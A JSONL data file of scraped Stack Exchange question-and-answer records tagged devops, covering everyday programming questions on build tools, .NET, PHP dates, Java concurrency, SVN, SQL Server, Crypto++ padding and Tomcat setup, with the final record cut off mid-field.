{"id": "hf_998dc67fd739", "question": "<p>What do you think about this <a href=\"http://raven.rubyforge.org/\" rel=\"nofollow noreferrer\">build tool</a>? I'm thinking of migrating from maven2 to raven (my poms are getting bigger and bigger), but I'd like to hear some opinions first.</p>\n\n<p>Thanks!</p>\n\n<p>@andre:</p>\n\n<p>Thank's for writing but I was actually looking for real experiences using raven. Anyway, the fact that nobody wrote is an indicator by itself (it seems few people are using it)</p>\n", "question_body": "", "answer": "pom growth is a problem that everybody faces w/ maven I guess, but maven is at least maintained (2.1. just around the corner) and the raven project looks pretty dead to me. No updates this year and the mailinglist archives are also very small. It looks to me as it's too risky to switch your build process to a tool w/o a living community. Not quite the answer you wanted I guess, but my 2 cents.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:35.854500"}
{"id": "hf_952fd5bc73b8", "question": "<p>Is it possible to make a site with ASP.NET MVC Framework using .NET 2.0?  I am limited to using .NET 2.0 (we use VS 2008, but we have to use the 2.0 Framework) and I really want to try out the MVC Framework.</p>\n", "question_body": "", "answer": "Scott Hanselman described a way to make it work, with some caveats, in his blog:\nDeploying ASP.NET MVC on ASP.NET 2.0", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:35.906977"}
{"id": "hf_db18f219a006", "question": "<p>I have a data stream that may contain \\r, \\n, \\r\\n, \\n\\r or any combination of them.  Is there a simple way to normalize the data to make all of them simply become \\r\\n pairs to make display more consistent?</p>\n\n<p>So something that would yield this kind of translation table:</p>\n\n<pre><code>\\r     --&gt; \\r\\n\n\\n     --&gt; \\r\\n\n\\n\\n   --&gt; \\r\\n\\r\\n\n\\n\\r   --&gt; \\r\\n\n\\r\\n   --&gt; \\r\\n\n\\r\\n\\n --&gt; \\r\\n\\r\\n\n</code></pre>\n", "question_body": "", "answer": "A Regex would help.. could do something roughly like this..\n(\\r\\n|\\n\\n|\\n\\r|\\r|\\n) replace with \\r\\n\nThis regex produced these results from the table posted (just testing left side) so a replace should normalize.\n```\n```\n\\r   => \\r \n\\n   => \\n \n\\n\\n => \\n\\n \n\\n\\r => \\n\\r \n\\r\\n => \\r\\n \n\\r\\n => \\r\\n \n\\n   => \\n\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:35.977428"}
{"id": "hf_dcb7b91f1d4c", "question": "<p>Has anyone used C# with a Sales Logix database?</p>\n", "question_body": "", "answer": "Yes.  I have.\n(Not the most interesting answer on SOB today, but that's what the question asked...)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.018757"}
{"id": "hf_ccc969dc2170", "question": "<p>In WPF, I want to create a hyperlink that navigates to the details of an object, and I want the text of the hyperlink to be the name of the object. Right now, I have this:</p>\n\n<pre><code>&lt;TextBlock&gt;&lt;Hyperlink Command=\"local:MyCommands.ViewDetails\" CommandParameter=\"{Binding}\"&gt;Object Name&lt;/Hyperlink&gt;&lt;/TextBlock&gt;\n</code></pre>\n\n<p>But I want \"Object Name\" to be bound to the actual name of the object. I would like to do something like this:</p>\n\n<pre><code>&lt;TextBlock&gt;&lt;Hyperlink Command=\"local:MyCommands.ViewDetails\" CommandParameter=\"{Binding}\" Text=\"{Binding Path=Name}\"/&gt;&lt;/TextBlock&gt;\n</code></pre>\n\n<p>However, the Hyperlink class does not have a text or content property that is suitable for data binding (that is, a dependency property).</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "It looks strange, but it works. We do it in about 20 different places in our app.\n```\nHyperlink\n```\nimplicitly constructs a\n```\n<Run/>\n```\nif you put text in its \"content\", but in .NET 3.5\n```\n<Run/>\n```\nwon't let you bind to it, so you've got to explicitly use a\n```\nTextBlock\n```\n.\n```\n```\n<TextBlock>\n    <Hyperlink Command=\"local:MyCommands.ViewDetails\" CommandParameter=\"{Binding}\">\n        <TextBlock Text=\"{Binding Path=Name}\"/>\n    </Hyperlink>\n</TextBlock>\n```\n```\nUpdate\n: Note that as of .NET 4.0 the\nRun.Text property\ncan now be bound:\n```\n```\n<Run Text=\"{Binding Path=Name}\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.054605"}
{"id": "hf_5623a8a612be", "question": "<p>I've seen a few different ways to iterate over a dictionary in C#.  Is there a standard way?</p>\n", "question_body": "", "answer": "```\n```\nforeach(KeyValuePair<string, string> entry in myDictionary)\n{\n    // do something with entry.Value or entry.Key\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.176002"}
{"id": "hf_e7e616f6b4ae", "question": "<p>\"Dirty reads\", meaning reading an object's value even though it is write-locked by another thread, are <a href=\"http://www.terracotta.org/confluence/display/howto/Recipe?recipe=dirty-read\" rel=\"nofollow noreferrer\">described</a> on Terracotta's website, yet I've heard that they shouldn't be used, even if you don't care about the possibility that you might get old data when you dirty-read the locked object.</p>\n\n<p>Does anyone have any experience of using dirty reads in Terracotta, and are they safe to use if you don't care about the possibility of reading an old value?</p>\n", "question_body": "", "answer": "A dirty read is a dirty read. Terracotta, being distributed/clustered, only adds the possibility to read even older values of the shared mutable state that you are accessing without proper synchronization.\nYou should note that, under the memory model in Java 5, you are not guaranteed to\never\nread an updated value if you don't use proper synchronization. Terracotta may decide to take advantage of this possibility. In fact, any JVM may, at their leisure, take advantage of it. Even if it might work on your machine, it may break on other machines. It may break on minor updates of the JVM, and it may break for the same version of the same JVM on a different CPU.\nWith that in mind, you can say that dirty reads isn't safe in any JVM... Unless you don't mind the possibility that you won't ever be able to read the updates that other threads make - an unlikely situation but it could happen.\nAlso, when you actually follow your link to Terracottas wiki, it says that the article has been removed and that the pattern is discouraged.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.199655"}
{"id": "hf_9161470be89e", "question": "<p>In an asp.net application, I would like to combine the use of the Webclient Software Factory (WCSF), and its associated Model View Presenter pattern (MVP), with Page Method, that is static methods on the .aspx Views marked with the [WebMethod] attribute. </p>\n\n<p>However, static methods on the aspx page would seem to break the Model View Presenter pattern since an instance method is required on the page to have the context of the Presenter and Controller necessary for the View to talk to. </p>\n\n<p>How would one extended asp .net's MVP pattern in WCSF to support [WebMethods] on the page, aka the View?</p>\n", "question_body": "", "answer": "I think you could come close to what you are looking for by using an ASP.Net AJAX Web Service instead of static page methods.  The web service has the advantage of not being static, and depending on how your views are implemented, (I'm not familiar with the specifics of the WCSF MVP pattern) you could potentially make the web service your \"View\" layer..or at least something fairly close.\nI've done something similar in a project I'm working on.  I ended up needing to create a thin data-only class which got serialized to JSON by the web service to carry the data from the model to the \"view\", but the web service had essentially the same methods that would be exposed as events on the view.\nOne of the things I liked about this approach is that all the bits, including the web service, are testable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.223488"}
{"id": "hf_c2c7e64e7cc9", "question": "<p>Is it possible to find the <code>foreach</code> index?</p>\n\n<p>in a <code>for</code> loop as follows:</p>\n\n<pre><code>for ($i = 0; $i &lt; 10; ++$i) {\n   echo $i . ' ';\n}\n</code></pre>\n\n<p><code>$i</code> will give you the index.</p>\n\n<p>Do I have to use the <code>for</code> loop or is there some way to get the index in the <code>foreach</code> loop?</p>\n", "question_body": "", "answer": "```\n```\nforeach($array as $key=>$value) {\n    // do stuff\n}\n```\n```\n```\n$key\n```\nis the index of each\n```\n$array\n```\nelement", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.247278"}
{"id": "hf_44848634698f", "question": "<p>I have a .net 2.0 ascx control with a start time and end time textboxes. The data is as follows: </p>\n\n<p>txtStart.Text = 09/19/2008 07:00:00</p>\n\n<p>txtEnd.Text = 09/19/2008 05:00:00</p>\n\n<p>I would like to calculate the total time (hours and minutes) in JavaScript then display it in a textbox on the page. </p>\n", "question_body": "", "answer": "Once your textbox date formats are known in advance, you can use\nMatt Kruse's Date functions\nin Javascript to convert the two to a timestamp, subtract and then write to the resulting text box.\nEqually the\nJQuery Date Input\ncode for\n```\nstringToDate\n```\ncould be adapted for your purposes - the below takes a string in the format \"YYYY-MM-DD\" and converts it to a date object. The timestamp (\n```\ngetTime()\n```\n) of these objects could be used for your calculations.\n```\n```\nstringToDate: function(string) {\n    var matches;\n    if (matches = string.match(/^(\\d{4,4})-(\\d{2,2})-(\\d{2,2})$/)) {\n       return new Date(matches[1], matches[2] - 1, matches[3]);\n    } else {\n       return null;\n    };\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.308114"}
{"id": "hf_887b5dab9c85", "question": "<p>I want to know if my server is running Subversion 1.5.</p>\n\n<p>How can I find that out?</p>\n\n<p>Also would be nice to know my SVN client version number. <code>svn help</code> hasn't been helpful.</p>\n\n<p><strong>Note:</strong> I don't want my <em>project's</em> revision number, etc. This question is about the <em>Subversion software</em> itself.</p>\n", "question_body": "", "answer": "For an HTTP-based server there is a Python script to find the server version at:\nhttp://svn.apache.org/repos/asf/subversion/trunk/tools/client-side/server-version.py\nYou can get the client version with\n```\n```\n`svn --version`\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.344687"}
{"id": "hf_95fc9846ce06", "question": "<p>I'm trying to determine what instances of sql server/sql express I have installed (either manually or programmatically) but all of the examples are telling me to run a SQL query to determine this which assumes I'm already connected to a particular instance.</p>\n", "question_body": "", "answer": "You could query this registry value to get the SQL version directly:\n```\n```\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\90\\Tools\\ClientSetup\\CurrentVersion\n```\n```\nAlternatively  you can query your instance name and then use sqlcmd with your instance name that you would like:\nTo see your instance name:\n```\n```\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\Instance Names\n```\n```\nThen execute this:\n```\n```\nSELECT SERVERPROPERTY('productversion'), SERVERPROPERTY ('productlevel'), SERVERPROPERTY ('edition')\n```\n```\nIf you are using C++ you can use this code to get the registry information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.369939"}
{"id": "hf_de1f489297ce", "question": "<p>I need to see if a given process id is running, and it must work in either Java or JRuby (preferably a Ruby solution).  It can be system dependent for Linux (specifically Debian and/or Ubuntu).</p>\n\n<p>I already have the PID I am looking for, just need to see if it is currently running.</p>\n\n<hr>\n\n<p>UPDATE:</p>\n\n<p>Thanks for all the responses everyone!  I appreciate it, however it's not QUITE what I'm looking for... I am hoping for something in a standard Ruby library (or Java, but preferably Ruby)... if no such library call exists, I will probably stick with the procfs solution I already have.</p>\n", "question_body": "", "answer": "From\nmy answer to this question\n, I was thinking of just using procfs again, by checking if the given directory exists via File.exist? \"/proc/#{pid}\".  This worked in jirb:\n```\nirb(main):001:0> File.exist? \"/proc/5555\"\n=> false\nirb(main):002:0> File.exist? \"/proc/7677\"\n=> true\n```\nHowever, I would still prefer to use a method that specifically exists to detect if a process is running... like Process.exist?(pid)... which unfortunately doesn't exist that I've seen.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.394467"}
{"id": "hf_7174fb99492e", "question": "<p>Is there a way to detect if the user is holding down the shift key (or other modifier keys) when executing a javascript bookmarklet?</p>\n\n<p>In my tests of Safari 3.1 and Firefox 3, <code>window.event</code> is always undefined.</p>\n", "question_body": "", "answer": "If you're looking for a way to detect the mouse position while the bookmarklet is being physically clicked, no, there is no way. Since the bookmarklet is positioned outside of any page (this area is generally called the browser \"chrome\" - which is confusing since there's now a browser with that name) it's not possible to detect JavaScript-related events there.\nThat being said, if you created this as a Firefox extension then you would have access to event information, JavaScript, and keyboard modifiers. But that doesn't appear to be what you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.431684"}
{"id": "hf_8676f532915c", "question": "<p>I'd like the canonical way to do this.  My Google searches have come up short.  I have one ActiveRecord model that should map to a different database than the rest of the application.  I would like to store the new configurations in the database.yml file as well.</p>\n\n<p>I understand that establish_connection should be called, but it's not clear where.  Here's what I got so far, and it doesn't work:</p>\n\n<pre><code>class Foo &lt; ActiveRecord::Base\n    establish_connection(('foo_' + ENV['RAILS_ENV']).intern)\nend\n</code></pre>\n", "question_body": "", "answer": "Heh.  I was right!  More cleanly:\n```\n```\nclass Foo < ActiveRecord::Base\n    establish_connection \"foo_#{ENV['RAILS_ENV']}\"\nend\n```\n```\nGreat post\nat pragedave.pragprog.com\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.455909"}
{"id": "hf_bd1c8a3cc2c1", "question": "<p>I've seen reference in some C# posted questions to a \"using\" clause.\nDoes java have the equivalent?</p>\n", "question_body": "", "answer": "Yes. Java 1.7 introduced the\ntry-with-resources\nconstruct allowing you to write:\n```\n```\ntry(InputStream is1 = new FileInputStream(\"/tmp/foo\");\n    InputStream is2 =  new FileInputStream(\"/tmp/bar\")) {\n         /* do stuff with is1 and is2 */\n}\n```\n```\n... just like a\n```\nusing\n```\nstatement.\nUnfortunately, before Java 1.7, Java programmers were forced to use try{ ... } finally { ... }. In Java 1.6:\n```\n```\nInputStream is1 = new FileInputStream(\"/tmp/foo\");\ntry{\n\n    InputStream is2 =  new FileInputStream(\"/tmp/bar\");\n    try{\n         /* do stuff with is1 and is 2 */\n\n    } finally {\n        is2.close();\n    }\n} finally {\n    is1.close();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.534142"}
{"id": "hf_cccec7369766", "question": "<p>How have you tweaked the MATLAB environment to better suit your needs?  One tweak per answer.</p>\n", "question_body": "", "answer": "I set the number of lines in the command window scroll buffer to the maximum (25,000).  This doesn't seem to noticeably affect performance and allows me to display a large amount of data/results.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.584319"}
{"id": "hf_4aeb2b743110", "question": "<p>What is the difference between using the <code>Runnable</code> and <code>Callable</code> interfaces when designing a concurrent thread in Java, why would you choose one over the other?</p>\n", "question_body": "", "answer": "See explanation\nhere\n.\nThe Callable interface is similar to\n  Runnable, in that both are designed\n  for classes whose instances are\n  potentially executed by another\n  thread.\nA Runnable, however, does not\n  return a result and cannot throw a\n  checked exception.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.663107"}
{"id": "hf_c3d5cd8fbad3", "question": "<p>Is there a way to check if a file has been opened by ReWrite in Delphi? </p>\n\n<p>Code would go something like this:</p>\n\n<pre><code>AssignFile(textfile, 'somefile.txt');\nif not textFile.IsOpen then\n   Rewrite(textFile);\n</code></pre>\n", "question_body": "", "answer": "You can get the filemode. (One moment, I'll create an example).\nTTextRec(txt).Mode gives you the mode:\n```\n```\n55216 = closed\n55217 = open read\n55218 = open write\n\nfmClosed = $D7B0;\nfmInput  = $D7B1;\nfmOutput = $D7B2;\nfmInOut  = $D7B3;\n```\n```\nSearch TTextRec in the system unit for more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.713977"}
{"id": "hf_2618c4efa3cc", "question": "<p>Is there a way to check to see if a date/time is valid you would think these would be easy to check:</p>\n\n<pre><code>$date = '0000-00-00';\n$time = '00:00:00';\n$dateTime = $date . ' ' . $time;\n\nif(strtotime($dateTime)) {\n    // why is this valid?\n}\n</code></pre>\n\n<p>what really gets me is this:</p>\n\n<pre><code>echo date('Y-m-d', strtotime($date)); \n</code></pre>\n\n<p>results in: \"1999-11-30\",</p>\n\n<p>huh? i went from 0000-00-00 to 1999-11-30 ???</p>\n\n<p>I know i could do comparison to see if the date is either of those values is equal to the date i have but it isn't a very robust way to check. Is there a good way to check to see if i have a valid date? Anyone have a good function to check this?</p>\n\n<p>Edit:\nPeople are asking what i'm running:\nRunning PHP 5.2.5 (cli) (built: Jul 23 2008 11:32:27) on Linux localhost 2.6.18-53.1.14.el5 #1 SMP Wed Mar 5 11:36:49 EST 2008 i686 i686 i386 GNU/Linux</p>\n", "question_body": "", "answer": "echo date('Y-m-d', strtotime($date));\nresults in: \"1999-11-30\"\nThe result of\n```\nstrtotime\n```\nis 943920000 - this is the number of seconds, roughly, between the\nUnix epoch\n(base from which time is measured) to 1999-11-30.\nThere is a\ndocumented\nmysql bug\non\n```\nmktime(), localtime(), strtotime()\n```\nall returning this odd value when you try a pre-epoch time (including \"0000-00-00 00:00:00\"). There's some debate on the linked thread as to whether this is actually a bug:\nSince the time stamp is started from 1970, I don't think it supposed to\n  work in anyways.\nBelow is a function that I use for converting dateTimes such as the above to a timestamp for comparisons, etc, which may be of some use to you, for dates beyond \"0000-00-00 00:00:00\"\n```\n```\n/**\n * Converts strings of the format \"YYYY-MM-DD HH:MM:SS\" into php dates\n */\nfunction convert_date_string($date_string)\n{\n    list($date, $time) = explode(\" \", $date_string);\n    list($hours, $minutes, $seconds) = explode(\":\", $time);\n    list($year, $month, $day) = explode(\"-\", $date);\n    return mktime($hours, $minutes, $seconds, $month, $day, $year);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.749458"}
{"id": "hf_1bd0e5472b3d", "question": "<p>I'm writing some server code that talks to a client process via STDIN. I'm trying to write a snippet of perl code that asynchronously receives responses from the client's STDOUT. The blocking version of the code might look like this:</p>\n\n<pre><code>sub _read_from_client\n{\n   my ($file_handle) = @_;\n   while (my $line = &lt;$file_handle&gt;) {\n      print STDOUT $line;\n   }\n   return;\n}\n</code></pre>\n\n<p>Importantly, the snippet needs to work in Win32 platform. There are many solutions for *nix platforms that I'm not interested in. I'm using ActivePerl 5.10.</p>\n", "question_body": "", "answer": "This thread\non\nPerlmonks\nsuggests you can make a socket nonblocking on Windows in Perl this way:\n```\n```\nioctl($socket, 0x8004667e, 1);\n```\n```\nMore details and resources in that thread", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.788785"}
{"id": "hf_2cb7d5175a2c", "question": "<p>How does one check if a directory is already present in the PATH environment variable? Here's a start. All I've managed to do with the code below, though, is echo the first directory in %PATH%. Since this is a FOR loop you'd think it would enumerate all the directories in %PATH%, but it only gets the first one.</p>\n<p>Is there a better way of doing this? Something like <a href=\"https://ss64.com/nt/find.html\" rel=\"nofollow noreferrer\">FIND</a> or <a href=\"https://ss64.com/nt/findstr.html\" rel=\"nofollow noreferrer\">FINDSTR</a> operating on the %PATH% variable? I'd just like to check if a directory exists in the list of directories in %PATH%, to avoid adding something that might already be there.</p>\n<pre><code>FOR /F &quot;delims=;&quot; %%P IN (&quot;%PATH%&quot;) DO (\n    @ECHO %%~P\n)\n</code></pre>\n", "question_body": "", "answer": "This may work:\n```\n```\necho ;%PATH%; | find /C /I \";<string>;\"\n```\n```\nIt should give you 0 if the string is not found and 1 or more if it is.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.834204"}
{"id": "hf_5f770cb6cf1a", "question": "<p>My production system occasionally exhibits a memory leak I have not been able to reproduce in a development environment.  I've used a <a href=\"https://stackoverflow.com/questions/110259/python-memory-profiler\">Python memory profiler</a> (specifically, Heapy) with some success in the development environment, but it can't help me with things I can't reproduce, and I'm reluctant to instrument our production system with Heapy because it takes a while to do its thing and its threaded remote interface does not work well in our server.</p>\n\n<p>What I think I want is a way to dump a snapshot of the production Python process (or at least gc.get_objects), and then analyze it offline to see where it is using memory.  <a href=\"https://stackoverflow.com/questions/141802/how-do-i-dump-an-entire-python-process-for-later-debugging-inspection\">How do I get a core dump of a python process like this?</a>  Once I have one, how do I do something useful with it?</p>\n", "question_body": "", "answer": "I don't know how to dump an entire python interpreter state and restore it. It would be useful, I'll keep my eye on this answer in case anyone else has ideas.\nIf you have an idea where the memory is leaking, you can add checks the refcounts of your objects. For example:\n```\n```\nx = SomeObject()\n... later ...\noldRefCount = sys.getrefcount( x )\nsuspiciousFunction( x )\nif (oldRefCount != sys.getrefcount(x)):\n    print \"Possible memory leak...\"\n```\n```\nYou could also check for reference counts higher than some number that is reasonable for your app. To take it further, you could modify the python interpreter to do these kinds of check by replacing the\n```\nPy_INCREF\n```\nand\n```\nPy_DECREF\n```\nmacros with your own. This might be a bit dangerous in a production app, though.\nHere is an essay with more info on debugging these sorts of things. It's more geared for plugin authors but most of it applies.\nDebugging Reference Counts", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:36.907767"}
{"id": "hf_fd91ce89971a", "question": "<p>Our resident Flex expert is out for the day and I thought this would be a good chance to test this site out. I have a dropdown with a dataProvider that is working fine:</p>\n\n<pre><code>&lt;ep:ComboBox id=\"dead_reason\" selectedValue=\"{_data.dead_reason}\"\n    dataProvider=\"{_data.staticData.dead_reason}\"\n    labelField=\"@label\" width=\"300\"/&gt;\n</code></pre>\n\n<p>The ComboBox is custom but I'm not sure if that matters for the question. I need to change the combo box to radios (all in one group) but maintain the dynamic options. In other words, what is the best way to generate dynamic RadioButtons?</p>\n", "question_body": "", "answer": "Try using an <mx:Repeater>  Something like:\n```\n```\n<mx:Repeater dataProvider=\"{_data.staticData.dead_reason}\">\n   <mx:RadioButton groupName=\"reasons\" ...>\n</mx:Repeater>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.016579"}
{"id": "hf_d0ff61aed2be", "question": "<p>I'm pretty new to both C++ and Block Cipher encryption, and I am currently in the process of writing a decryption function for AES (16 byte seed / 16 byte blocks). All is going well, but my total data size is not always a multiple of my block size. I'm wondering what the best way to handle leftover data at the end of my data.</p>\n\n<p>I'm using Crypto++ for the AES library.</p>\n\n<p>The <code>ProcessBlock()</code> function takes an Input and Output char array. I'm assuming it is expecting them to be at least big enough as the block size. </p>\n\n<p>What would be the best way to process all 16 byte blocks in a block cipher, and then also process the leftover data? </p>\n", "question_body": "", "answer": "What you want is a padding system.\nCheck out this CodeProject article on Crypto++\n:\nWhen a message is not a multiple of\n  the cipher's block size, ECB or CBC\n  mode messages must be padded. The\n  method and values of padding are a\n  source of problem with respect to\n  interoperability between Cryptographic\n  libraries and APIs. As Garth Lancaster\n  points out, if you're not aware of the\n  particulars of padding, use the\n  StreamTransformationFilter. In this\n  case, the Crypto++ filter will pad for\n  you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.041503"}
{"id": "hf_c7f8296b2f85", "question": "<p>I installed Tomcat 6.0.18 on a windows server 2003 box and it will not start as a service.\nI'm running it with jdk 1.6.0_07.</p>\n\n<p>It runs when I start it with tomcat6.exe.</p>\n\n<p>I got a vague error in the System Event Log on Windows.</p>\n\n<p>The Apache Tomcat 6 service terminated with service-specific error 0 (0x0).</p>\n", "question_body": "", "answer": "From\ngobaco.wordpress.com\nTomcat 6 couldn’t find a file called msvcr71.dll.\nI just copied it over from\nc:\\windows\\microsoft.net\\framework\\v1.1.4322\nto\nc:\\windows\\system32\nand was able to start tomcat.\nI thought this was very strange, so I wanted to post it on SO in case anyone else runs into this problem. If someone wants to post the same answer I'll accept it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.065902"}
{"id": "hf_7d436b535300", "question": "<p>I have created a brand new project in XCode and have the following in my AppDelegate.py file:</p>\n\n<pre><code>from Foundation import *\nfrom AppKit import *\n\nclass MyApplicationAppDelegate(NSObject):\n    def applicationDidFinishLaunching_(self, sender):\n        NSLog(\"Application did finish launching.\")\n\n        statusItem = NSStatusBar.systemStatusBar().statusItemWithLength_(NSVariableStatusItemLength)\n        statusItem.setTitle_(u\"12%\")\n        statusItem.setHighlightMode_(TRUE)\n        statusItem.setEnabled_(TRUE)\n</code></pre>\n\n<p>However, when I launch the application no status bar item shows up. All the other code in main.py and main.m is default.</p>\n", "question_body": "", "answer": "I had to do this to make it work:\nOpen MainMenu.xib. Make sure the class of the app delegate is\n```\nMyApplicationAppDelegate\n```\n. I'm not sure if you will have to do this, but I did. It was wrong and so the app delegate never got called in the first place.\nAdd\n```\nstatusItem.retain()\n```\nbecause it gets autoreleased right away.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.127282"}
{"id": "hf_75a58e2242d8", "question": "<p>Can anyone explain what advantages there are to using a tool like MSBuild (or NAnt) to build a collection of projects versus running DevEnv.exe from the command-line?</p>\n\n<p>A colleague I had worked with in the past had explained that (at least with older versions of Visual Studio) using DevEnv.exe was much slower than the other techniques, but I haven't read any evidence of that or if that is now a moot point now that starting with 2005, Visual Studio uses MSBuild under the hood.</p>\n\n<p>I know one advantage of using MSBuild allows you to build your projects without requiring Visual Studio to be installed on the build machines, but I wasn't sure if there were others.</p>\n", "question_body": "", "answer": "The prime reason for using an external build tool like NAnt or MsBuild is the ability to automate your build process and thus provide continous feedback on the status of your system. Also they can be used for loads of things besides a \"pure\" build and that's where you really start to get value from them, it's an extremly valuable thing to be able to build and test your application with a single command.\nYou can also start adding stuff like collection of metrics, packinging of release binaries and all sorts of nifty stuff like that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": 